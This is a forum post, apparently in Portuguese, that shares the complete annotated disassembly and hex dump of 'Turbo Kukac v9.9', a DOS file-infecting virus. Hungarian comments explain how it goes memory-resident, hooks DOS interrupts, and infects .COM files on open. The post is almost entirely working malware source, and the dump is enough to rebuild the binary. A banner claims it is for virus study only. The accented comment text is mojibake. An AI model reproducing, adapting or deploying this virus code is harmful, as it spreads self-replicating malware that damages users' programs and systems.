Tweet
Código Fonte Vírus em Assembly-TURBO 99.
Olá pessoal quero compartilhar com vocęs um código fonte de um Vírus em Assembly - TURBO 99.
Nome: TURBO 99.
Código:
WCG 147
Nome: TURBO 99.
Código:
Código:
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
TURBO KUKAC v9.9 virus unassembled list:
`90.07.21.
Magyar*zat: K”v*ri L*szl˘
Tel.: (41) 21-822 07-13:20 mh.
21-033 18:00-
28F8:0100 E80000 CALL 0103 ;IP ‚rt‚ke az SI-be
28F8:0103 90 NOP ;ez lesz a b*zis offset
28F8:0104 5E POP SI
28F8:0105 50 PUSH AX
28F8:0106 51 PUSH CX
28F8:0107 B021 MOV AL,21
28F8:0109 B435 MOV AH,35
28F8:010B CD21 INT 21 ;INT 21h cˇm‚nek lek‚r-
;dez‚se
28F8:010D 8CC0 MOV AX,ES
28F8:010F 3D0040 CMP AX,4000 ;a mem˘ri*ban van ?
28F8:0112 7224 JB 0138 ;nincs!
28F8:0114 83EE03 SUB SI,+03 ;b*zis offset -3
;(3 byte hosszu a JMP
;+ az operandusa!)
28F8:0117 BAC102 MOV DX,02C1
28F8:011A 81EA0001 SUB DX,0100 ;0100h offset levon*sa
;(COM file saj*toss*ga!)
28F8:011E 03F2 ADD SI,DX
28F8:0120 8B1C MOV BX,[SI] ;JMP k˘dja + az operan-
;dus fele
28F8:0122 8B4C02 MOV CX,[SI+02] ;JMP operandusa + 1 byte
28F8:0125 891E0001 MOV [0100],BX ;eredeti prg kezdet
28F8:0129 890E0201 MOV [0102],CX ;let*rol*sa
28F8:012D 8CD8 MOV AX,DS
28F8:012F 8EC0 MOV ES,AX ;ES=DS
28F8:0131 59 POP CX
28F8:0132 58 POP AX
28F8:0133 BB0001 MOV BX,0100 ;ugr*s offset-je
28F8:0136 FFE3 JMP BX ;EREDETI PROGRAM V�GRE-
;HAJT�SA
;HA M�G NINCS A MEM˘RI�BAN
28F8:0138 8CD8 MOV AX,DS ;saj*t szegmense
28F8:013A 48 DEC AX ;saj*t seg-1= MCB. seg.
28F8:013B 8ED8 MOV DS,AX ;DS=MCB. szegmense
28F8:013D A10300 MOV AX,[0003] ;DOS *lltal a programnak
;foglalt mem˘riablokk
;hossza
28F8:0140 2D4100 SUB AX,0041 ;virus hossz*t levonja
;bel”le (41*16 byte)
28F8:0143 A30300 MOV [0003],AX ;visszateszi igy a DOS
;*lltal l*tott teljes
;mem˘ria nagys*ga a prg.
;kil‚p‚se ut*n (41*16
;byte-tal) kevesebb lesz
;Hasonl˘an csin*lja ezt
;a YANKEE DOODLE is, s
;ezzel azt ‚ri el, hogy
;semmilyen
;System Storage Map
;programmal nem mutat-
;hat˘ ki a virus jele-
;l‚te a mem˘ri*ban!
;A PCTOOLS system info
;kimutatja, azaz csak
;annyit l*tni, hogy a
;fizikai RAM m‚ret 640K
;s a DOS *lltal l*tott
;az 639k byte! Igy k”-
;vetkeztetni lehet...
28F8:0146 8CC8 MOV AX,CS
28F8:0148 8ED8 MOV DS,AX ;DS=CS
28F8:014A A10200 MOV AX,[0002] ;PSP-ben a RAM tetej‚-
;nek a paragrafuscˇme
28F8:014D 2D0008 SUB AX,0800
28F8:0150 8EC0 MOV ES,AX ;virus Łj szegmense
28F8:0152 BF0001 MOV DI,0100
28F8:0155 83EE03 SUB SI,+03
28F8:0158 B90002 MOV CX,0200 ;virus hossza
28F8:015B F3 REPZ
28F8:015C A4 MOVSB ;virus m*sol*sa az Łj
;szegmensbe
28F8:015D 8C06C702 MOV [02C7],ES ;Łj szegmens t*rol*sa
28F8:0161 B96C01 MOV CX,016C ;bel‚p‚si pont
28F8:0164 890EC502 MOV [02C5],CX ;t*rol*sa
28F8:0168 FF2EC502 JMP FAR [02C5] ;ugr*s az Łj szegmens
;01c6 offset-‚re
;UJ SZEGMENSBEN A BEL�P�SI PONT
28F8:016C 8CC1 MOV CX,ES
28F8:016E 8CD8 MOV AX,DS ;ahonnan m*solta mag*t
28F8:0170 26 ES:
28F8:0171 A3CB02 MOV [02CB],AX ;R�GI PRG. segment cˇm
28F8:0174 B80001 MOV AX,0100
28F8:0177 26 ES:
28F8:0178 A3C902 MOV [02C9],AX ;0100h offset t*rol*sa
28F8:017B 8CC0 MOV AX,ES
28F8:017D 8ED8 MOV DS,AX
28F8:017F BAC701 MOV DX,01C7 ;INT 05 - HARD COPY Łj
;offset-je
28F8:0182 B005 MOV AL,05
28F8:0184 B425 MOV AH,25
28F8:0186 CD21 INT 21 ;INT 05 ellop*sa
28F8:0188 B435 MOV AH,35
28F8:018A B021 MOV AL,21
28F8:018C CD21 INT 21 ;INT 21h cˇm lek‚rdez‚-
;se
28F8:018E 2E CS:
28F8:018F 891EB702 MOV [02B7],BX ;INT 05h offset (r‚gi)
28F8:0193 8CC3 MOV BX,ES
28F8:0195 2E CS:
28F8:0196 891EB902 MOV [02B9],BX ;INT 05h segment (r‚gi)
28F8:019A B8D901 MOV AX,01D9 ;Łj INT 21h offset cˇm
28F8:019D 8BD0 MOV DX,AX
28F8:019F 8BC1 MOV AX,CX
28F8:01A1 8ED8 MOV DS,AX
28F8:01A3 B021 MOV AL,21
28F8:01A5 B425 MOV AH,25
28F8:01A7 CD21 INT 21 ;INT 21h ellop*sa
28F8:01A9 8B16C102 MOV DX,[02C1] ;EREDETI JMP + AZ
28F8:01AD 8B0EC302 MOV CX,[02C3] ;OPERANDUSA!!!
28F8:01B1 A1CB02 MOV AX,[02CB] ;EREDETI PRG. SEG!!!
28F8:01B4 8ED8 MOV DS,AX
28F8:01B6 89160001 MOV [0100],DX ;eredeti JMP k˘dja
28F8:01BA 890E0201 MOV [0102],CX ;‚s operandusa
28F8:01BE 8EC0 MOV ES,AX
28F8:01C0 59 POP CX
28F8:01C1 58 POP AX
28F8:01C2 2E CS:
28F8:01C3 FF2EC902 JMP FAR [02C9] ;EREDETI PROGRAM FUTTA-
;T�SA!
;Łj INT 05 - HARD COPY rutin
28F8:01C7 90 NOP
28F8:01C8 50 PUSH AX
28F8:01C9 1E PUSH DS
28F8:01CA 52 PUSH DX
28F8:01CB 8CC8 MOV AX,CS
28F8:01CD 8ED8 MOV DS,AX
;V�GTELEN CIKLUS!
28F8:01CF BACE02 MOV DX,02CE ;sz”veg kezdete
;Turbo Kukac v9.9
28F8:01D2 B409 MOV AH,09 ;print string
28F8:01D4 E8D900 CALL 02B0 ;r‚gi INT 21h hiv*sa
28F8:01D7 EBF6 JMP 01CF ;Łjra!
;Łj INT 21h rutin
28F8:01D9 90 NOP
28F8:01DA 80FC3D CMP AH,3D ;file nyit*sa alfunkci˘?
28F8:01DD 7403 JZ 01E2 ;igen
28F8:01DF E9C700 JMP 02A9 ;nem ugr*sa az eredeti
;INT 21h-ra
28F8:01E2 90 NOP
28F8:01E3 1E PUSH DS
28F8:01E4 06 PUSH ES
28F8:01E5 50 PUSH AX
28F8:01E6 53 PUSH BX
28F8:01E7 51 PUSH CX
28F8:01E8 52 PUSH DX
28F8:01E9 57 PUSH DI
28F8:01EA 56 PUSH SI
;File kiterjeszt‚s ellen”rz‚se
28F8:01EB 8BFA MOV DI,DX ;file PATH kezdete
28F8:01ED 8CDE MOV SI,DS
28F8:01EF 8EC6 MOV ES,SI ;ES=DS (igy a file PATH
;*tv‚tele!)
28F8:01F1 B000 MOV AL,00 ;PATH lez*r˘ nulla
28F8:01F3 B93200 MOV CX,0032 ;file secifik*ci˘ hossza
28F8:01F6 FC CLD ;el”re
28F8:01F7 F2 REPNZ
28F8:01F8 AE SCASB ;PATH lez*r˘ 0 byte ke-
;res‚se
28F8:01F9 83EF03 SUB DI,+03 ;-3 igy a kiterjeszt‚s
;kezdet+1 pozici˘ra mu-
;tat
28F8:01FC B84F4D MOV AX,4D4F ;'OM' AX-be
28F8:01FF 26 ES:
28F8:0200 3B05 CMP AX,[DI] ; 'OM' a v‚ge ?
28F8:0202 7403 JZ 0207 ;igen val*szin�leg COM
;file
28F8:0204 E99A00 JMP 02A1 ;nem COM ugr*s az erede-
;ti INT 21h-ra
28F8:0207 B82E43 MOV AX,432E ;'.C' AX-be
28F8:020A 26 ES:
28F8:020B 3B45FE CMP AX,[DI-02] ; '.C' ?
28F8:020E 7403 JZ 0213 ;biztos hogy COM file!
28F8:0210 E98E00 JMP 02A1 ;nem COM ugr*s az erede-
;ti INT 21h-ra
;File nyit*sa
28F8:0213 B43D MOV AH,3D ;file nyit*s
28F8:0215 B002 MOV AL,02 ;ˇr*s/olvas*s
28F8:0217 E89600 CALL 02B0 ;INT 21h hiv*sa
28F8:021A 7303 JNB 021F ;ha nincs hiba
28F8:021C E98200 JMP 02A1 ;hiba eset‚n ugr*s az
;eredeti INT 21h-ra
28F8:021F 8BD8 MOV BX,AX ;file kezel”
;File m‚ret ellen”rz‚s
28F8:0221 B90000 MOV CX,0000
28F8:0224 BA0000 MOV DX,0000
28F8:0227 B002 MOV AL,02 ;file v‚g‚re
28F8:0229 B442 MOV AH,42 ;file pointer mozgat*sa
28F8:022B E88200 CALL 02B0 ;INT 21h hiv*sa
28F8:022E 3D00FE CMP AX,FE00
28F8:0231 736E JNB 02A1 ;ha nem nagyobb a file
;65024 byte-n*l
28F8:0233 2D0300 SUB AX,0003 ;JMP+op hossza
;Fert”zend” file eredeti 4 byte j*nak
;beolvas*sa
28F8:0236 2E CS:
28F8:0237 A3BE02 MOV [02BE],AX ;let*rolja
28F8:023A B442 MOV AH,42 ;file pointer mozgat*sa
28F8:023C B000 MOV AL,00 ;file elej‚re
28F8:023E B90000 MOV CX,0000
28F8:0241 BA0000 MOV DX,0000
28F8:0244 E86900 CALL 02B0 ;INT 21h hiv*sa
28F8:0247 B43F MOV AH,3F ;olvas*s file-b˘l
28F8:0249 B90400 MOV CX,0004 ;4 byte
28F8:024C BAC102 MOV DX,02C1 ;ide tegye
28F8:024F 8CCF MOV DI,CS
28F8:0251 8EDF MOV DS,DI ;DS=CS
28F8:0253 E85A00 CALL 02B0 ;INT 21h hiv*sa
28F8:0256 B005 MOV AL,05
28F8:0258 3A06C402 CMP AL,[02C4] ;utols˘ byte=5 ?
28F8:025C 7443 JZ 02A1 ;igen, ugr*s az eredeti
;INT 21h -ra
;Fert”zend” file-ba a virusra
;mutat˘ JMP+op. kiˇr*sa (4 byte)
28F8:025E B442 MOV AH,42 ;file pointer mozgat*sa
28F8:0260 B000 MOV AL,00 ;file elej‚re
28F8:0262 B90000 MOV CX,0000
28F8:0265 8BD1 MOV DX,CX
28F8:0267 E84600 CALL 02B0 ;INT 21h hiv*sa
28F8:026A B0E9 MOV AL,E9 ;JMP k˘dja
28F8:026C 2E CS:
28F8:026D A2BD02 MOV [02BD],AL ;let*rolja
28F8:0270 B005 MOV AL,05
28F8:0272 2E CS:
28F8:0273 A2C002 MOV [02C0],AL
28F8:0276 B90400 MOV CX,0004 ;4 byte
28F8:0279 BABD02 MOV DX,02BD ;JMP + op. kezdete
28F8:027C 8CC8 MOV AX,CS
28F8:027E 8ED8 MOV DS,AX
28F8:0280 B440 MOV AH,40 ;kiˇr*s file-ba
28F8:0282 E82B00 CALL 02B0 ;INT 21h hiv*sa
;Program megfert”z‚se 0200h byte kiˇr*sa
;azaz a virus m”g‚m*sol*sa
28F8:0285 B442 MOV AH,42 ;file pointer mozgat*sa
28F8:0287 B002 MOV AL,02 ;file v‚g‚re
28F8:0289 B90000 MOV CX,0000
28F8:028C 8BD1 MOV DX,CX
28F8:028E E81F00 CALL 02B0 ;INT 21h hiv*sa
28F8:0291 BA0001 MOV DX,0100 ;0100h ofset-t”l
28F8:0294 B90002 MOV CX,0200 ;0200h byte virus hossza
28F8:0297 B440 MOV AH,40 ;kiˇr*s file-ba
28F8:0299 E81400 CALL 02B0 ;INT 21h hiv*sa
28F8:029C B43E MOV AH,3E ;file z*r*sa
28F8:029E E80F00 CALL 02B0 ;INT 21h hiv*sa
28F8:02A1 5E POP SI
28F8:02A2 5F POP DI
28F8:02A3 5A POP DX
28F8:02A4 59 POP CX
28F8:02A5 5B POP BX
28F8:02A6 58 POP AX
28F8:02A7 07 POP ES
28F8:02A8 1F POP DS
28F8:02A9 90 NOP
28F8:02AA 2E CS:
28F8:02AB FF2EB702 JMP FAR [02B7] ;eredeti INT 21h-ra
28F8:02AF CF IRET
;Eredeti INT 21h hiv*sa
28F8:02B0 9C PUSHF ;elmenti mivel az IRET
;visszamenti a flag-eket
28F8:02B1 2E CS:
28F8:02B2 FF1EB702 CALL FAR [02B7] ;eredeti INT 21h hiv*sa
28F8:02B6 C3 RET
28F8:02B7 16 PUSH SS
28F8:02B8 130C ADC CX,[SI]
28F8:02BA 0202 ADD AL,[BP+SI]
28F8:02BC 00E9 ADD CL,CH
28F8:02BE 06 PUSH ES
28F8:02BF 06 PUSH ES
28F8:02C0 05E906 ADD AX,06E9
28F8:02C3 0405 ADD AL,05
28F8:02C5 0100 ADD [BX+SI],AX
28F8:02C7 0000 ADD [BX+SI],AL
28F8:02C9 0001 ADD [BX+DI],AL
28F8:02CB F0 LOCK
28F8:02CC 0901 OR [BX+DI],AX
28F8:02CE 54 PUSH SP
28F8:02CF 7572 JNZ 0343
28F8:02D1 62 DB 62
28F8:02D2 6F DB 6F
28F8:02D3 204B75 AND [BP+DI+75],CL
28F8:02D6 6B DB 6B
28F8:02D7 61 DB 61
28F8:02D8 63 DB 63
28F8:02D9 2039 AND [BX+DI],BH
28F8:02DB 2E CS:
28F8:02DC 3920 CMP [BX+SI],SP
28F8:02DE 2020 AND [BX+SI],AH
28F8:02E0 2020 AND [BX+SI],AH
28F8:02E2 2024 AND [SI],AH
28F8:02E4 0000 ADD [BX+SI],AL
28F8:02FC 0000 ADD [BX+SI],AL
28F8:02FE FA CLI
28F8:02FF 00C7 ADD BH,AL
Megjegyz‚s:
Nagyon primitˇv virus, de megvan a maga zsenialit*sa, k‚t legyet
�t egy csap*sra, pl COPY parancs eset‚n megnyit egy com file-t,s
ha a virus a mem˘ri*ban van, akkor m‚g a m*soland˘ file-t megfer-
t”zi, s a COPY m*r a fert”z”tt file-t m*solja! Nem igaz*n k*r-
t‚kony vˇrus, puszt*n minden�tt ott akar lenni, s nehezˇteni a
felhaszn*l˘(k) munk*j*t! M‚rete nagyon kicsi, mind”ssze 512 byte!
Hi*nyoznak a vˇrusb˘l az (tapasztalataim szerint) eddigi virusok-
ban fellelhet” ellen”rz‚sek, gondolok itt arra, hogy ha megt”rt‚nik
egy file-ba (hoz) val˘ kiˇr*s nem ellen”rzi a program hogy val˘ban
kiˇrta-e azt az X byte-ot. Tov*bb* mikor rezidess‚ (nem {hivatalo-
san} bejegyzetten) teszi mag*t nem m˘dosˇtja az MCB. 13. byte-j*n
l‚v” RAM tetej‚nek a paragrafus cˇm‚tt a saj*t maga *lltal lefog-
lalt m‚rettel (kivon*s!), mint PL. a Yankee Doodle! A Yankee m‚g
azt is megn‚zi, hogy amit meg akar fert”zni az az utols˘ mem˘.
blokkban van-e, b*r abban kell lennie, mert a DOS egy programnak
odaadja a teljes szabad mem˘ri*t, ami van...
DUMP:
28F8:0100 E8 00 00 90 5E 50 51 B0-21 B4 35 CD 21 8C C0 3D ....^PQ.!.5.!..=
28F8:0110 00 40 72 24 83 EE 03 BA-C1 02 81 EA 00 01 03 F2 .@r$............
28F8:0120 8B 1C 8B 4C 02 89 1E 00-01 89 0E 02 01 8C D8 8E ...L............
28F8:0130 C0 59 58 BB 00 01 FF E3-8C D8 48 8E D8 A1 03 00 .YX.......H.....
28F8:0140 2D 41 00 A3 03 00 8C C8-8E D8 A1 02 00 2D 00 08 -A...........-..
28F8:0150 8E C0 BF 00 01 83 EE 03-B9 00 02 F3 A4 8C 06 C7 ................
28F8:0160 02 B9 6C 01 89 0E C5 02-FF 2E C5 02 8C C1 8C D8 ..l.............
28F8:0170 26 A3 CB 02 B8 00 01 26-A3 C9 02 8C C0 8E D8 BA &......&........
28F8:0180 C7 01 B0 05 B4 25 CD 21-B4 35 B0 21 CD 21 2E 89 .....%.!.5.!.!..
28F8:0190 1E B7 02 8C C3 2E 89 1E-B9 02 B8 D9 01 8B D0 8B ................
28F8:01A0 C1 8E D8 B0 21 B4 25 CD-21 8B 16 C1 02 8B 0E C3 ....!.%.!.......
28F8:01B0 02 A1 CB 02 8E D8 89 16-00 01 89 0E 02 01 8E C0 ................
28F8:01C0 59 58 2E FF 2E C9 02 90-50 1E 52 8C C8 8E D8 BA YX......P.R.....
28F8:01D0 CE 02 B4 09 E8 D9 00 EB-F6 90 80 FC 3D 74 03 E9 ............=t..
28F8:01E0 C7 00 90 1E 06 50 53 51-52 57 56 8B FA 8C DE 8E .....PSQRWV.....
28F8:01F0 C6 B0 00 B9 32 00 FC F2-AE 83 EF 03 B8 4F 4D 26 ....2........OM&
28F8:0200 3B 05 74 03 E9 9A 00 B8-2E 43 26 3B 45 FE 74 03 ;.t......C&;E.t.
28F8:0210 E9 8E 00 B4 3D B0 02 E8-96 00 73 03 E9 82 00 8B ....=.....s.....
28F8:0220 D8 B9 00 00 BA 00 00 B0-02 B4 42 E8 82 00 3D 00 ..........B...=.
28F8:0230 FE 73 6E 2D 03 00 2E A3-BE 02 B4 42 B0 00 B9 00 .sn-.......B....
28F8:0240 00 BA 00 00 E8 69 00 B4-3F B9 04 00 BA C1 02 8C .....i..?.......
28F8:0250 CF 8E DF E8 5A 00 B0 05-3A 06 C4 02 74 43 B4 42 ....Z...:...tC.B
28F8:0260 B0 00 B9 00 00 8B D1 E8-46 00 B0 E9 2E A2 BD 02 ........F.......
28F8:0270 B0 05 2E A2 C0 02 B9 04-00 BA BD 02 8C C8 8E D8 ................
28F8:0280 B4 40 E8 2B 00 B4 42 B0-02 B9 00 00 8B D1 E8 1F .@.+..B.........
28F8:0290 00 BA 00 01 B9 00 02 B4-40 E8 14 00 B4 3E E8 0F ........@....>..
28F8:02A0 00 5E 5F 5A 59 5B 58 07-1F 90 2E FF 2E B7 02 CF .^_ZY[X.........
28F8:02B0 9C 2E FF 1E B7 02 C3 16-13 0C 02 02 00 E9 06 06 ................
28F8:02C0 05 E9 06 04 05 01 00 00-00 00 01 F0 09 01 ..............
;Kiˇrand˘ sz”veg kezdete
28F8:02C0 54 75 Tu
28F8:02D0 72 62 6F 20 4B 75 6B 61-63 20 39 2E 39 20 20 20 rbo Kukac 9.9
28F8:02E0 20 20 20 24 $
28F8:02E0 00 00 00 00-00 00 00 00 00 00 00 00 ............
28F8:02F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 FA 00 ................
28F8:0300 C7 .
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
WCG 147
